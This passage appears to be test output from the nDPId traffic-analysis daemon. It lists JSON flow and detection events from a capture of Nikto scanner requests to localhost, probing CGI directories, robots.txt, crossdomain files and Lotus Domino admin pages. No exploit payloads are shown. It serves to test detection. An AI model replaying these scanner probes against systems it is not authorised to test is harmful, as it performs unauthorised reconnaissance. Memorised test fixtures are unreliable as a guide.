+00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":45,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1576420276725,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49632,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-home\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":46,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1576420276727,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49634,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":727380,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFtaJAAEAGho5\/AAABfwAAAcHiH5DFGI2++SyH14AYAED+uQAAAQEICp1m+x+dZvsfR0VUIC9jZ2ktcGVybC8gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmNnaSBkaXIgY2hlY2spDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":46,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1576420276727,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49634,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-perl\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":47,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1576420276728,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49636,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":728901,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFuPZAAEAGgzp\/AAABfwAAAcHkH5CSdoDrZ1cRi4AYAED+uQAAAQEICp1m+yCdZvsgR0VUIC9zY2dpLWJpbi8gSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpjZ2kgZGlyIGNoZWNrKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":47,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1576420276728,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49636,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/scgi-bin\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":48,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1576420276730,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49638,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":730408,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIS5pAAEAG8JN\/AAABfwAAAcHmH5DcbnOH9ynG7oAYAED+vAAAAQEICp1m+yKdZvsiR0VUIC9jZ2ktYmluLXNkYi8gSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpjZ2kgZGlyIGNoZWNrKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":48,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1576420276730,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49638,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-bin-sdb\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":49,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1576420276733,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49640,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":733041,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADE3RFAAEAGXyB\/AAABfwAAAcHoH5BtNeURIEAjc4AYAED+uAAAAQEICp1m+ySdZvskR0VUIC9jZ2ktbW9kLyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmNnaSBkaXIgY2hlY2spDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":49,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1576420276733,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49640,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-mod\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:cgi dir check)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":50,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1576420276734,"flow_last_seen":0,"flow_tot_l4_data_len":160,"flow_min_l4_data_len":160,"flow_max_l4_data_len":160,"flow_avg_l4_data_len":160,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49642,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00605{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":734455,"pkt_caplen":194,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":194,"pkt_l4_len":160,"pkt":"AAAAAAAAAAAAAAAACABFAAC0+gVAAEAGQjx\/AAABfwAAAcHqH5Dwf8IdIiKU7IAYAED+qAAAAQEICp1m+yadZvsmR0VUIC8gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnBhdGhzKQ0KDQo="} +00746{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":50,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1576420276734,"flow_last_seen":0,"flow_tot_l4_data_len":160,"flow_min_l4_data_len":160,"flow_max_l4_data_len":160,"flow_avg_l4_data_len":160,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49642,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:paths)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":51,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1576420276738,"flow_last_seen":0,"flow_tot_l4_data_len":195,"flow_min_l4_data_len":195,"flow_max_l4_data_len":195,"flow_avg_l4_data_len":195,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49644,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00653{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":738321,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"AAAAAAAAAAAAAAAACABFAADXryVAAEAGjPl\/AAABfwAAAcHsH5B635cEZT8z4YAYAED+ywAAAQEICp1m+yqdZvsqR0VUIC9jbGllbnRhY2Nlc3Nwb2xpY3kueG1sIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpjbGllbnRhY2Nlc3Nwb2xpY3kpDQoNCg=="} +00781{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":51,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1576420276738,"flow_last_seen":0,"flow_tot_l4_data_len":195,"flow_min_l4_data_len":195,"flow_max_l4_data_len":195,"flow_avg_l4_data_len":195,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49644,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/clientaccesspolicy.xml","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:clientaccesspolicy)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":52,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1576420276739,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49646,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":739730,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"AAAAAAAAAAAAAAAACABFAADJlTdAAEAGpvV\/AAABfwAAAcHuH5Dvz60WkSjxAoAYAED+vQAAAQEICp1m+yudZvsrR0VUIC9jcm9zc2RvbWFpbi54bWwgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OmNyb3NzZG9tYWluKQ0KDQo="} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":52,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1576420276739,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49646,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/crossdomain.xml","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:crossdomain)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":53,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1576420276741,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49648,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00622{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":741051,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/JMVAAEAGF3J\/AAABfwAAAcHwH5DeWhzjQtAeBoAYAED+swAAAQEICp1m+yydZvssR0VUIC9yb2JvdHMudHh0IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpyb2JvdHMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":53,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1576420276741,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49648,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/robots.txt","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:robots)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":54,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1576420276742,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49650,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":742265,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"AAAAAAAAAAAAAAAACABFAADJFcxAAEAGJmF\/AAABfwAAAcHyH5BqYy3sS9mo74AYAED+vQAAAQEICp1m+y6dZvsuR0VUIC9kb21jZmcubnNmIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6RG9taW5vIGRldGVjdGlvbikNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":54,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1576420276742,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49650,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/domcfg.nsf","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:Domino detection)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":55,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1576420276743,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49652,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":743443,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIxjhAAEAGdfV\/AAABfwAAAcH0H5Bv5P4Yg+7934AYAED+vAAAAQEICp1m+y+dZvsvR0VUIC9hZG1pbi5uc2YgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OkRvbWlubyBkZXRlY3Rpb24pDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":55,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1576420276743,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49652,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/admin.nsf","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:Domino detection)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":56,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1576420276744,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49654,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":744676,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"AAAAAAAAAAAAAAAACABFAADJ7atAAEAGToF\/AAABfwAAAcH2H5DjmNWMPF0CB4AYAED+vQAAAQEICp1m+zCdZvswR0VUIC9hZG1pbjQubnNmIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpEb21pbm8gZGV0ZWN0aW9uKQ0KDQo="} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":56,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1576420276744,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49654,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/admin4.nsf","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:Domino detection)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":57,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1576420276745,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49656,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":745910,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"AAAAAAAAAAAAAAAACABFAADJnTFAAEAGnvt\/AAABfwAAAcH4H5DLFKUODsXYX4AYAED+vQAAAQEICp1m+zGdZvsxR0VUIC9hZG1pbjUubnNmIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpEb21pbm8gZGV0ZWN0aW9uKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":57,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1576420276745,"flow_last_seen":0,"flow_tot_l4_data_len":181,"flow_min_l4_data_len":181,"flow_max_l4_data_len":181,"flow_avg_l4_data_len":181,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49656,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/admin5.nsf","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:Domino detection)"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":58,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1576420276747,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49658,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 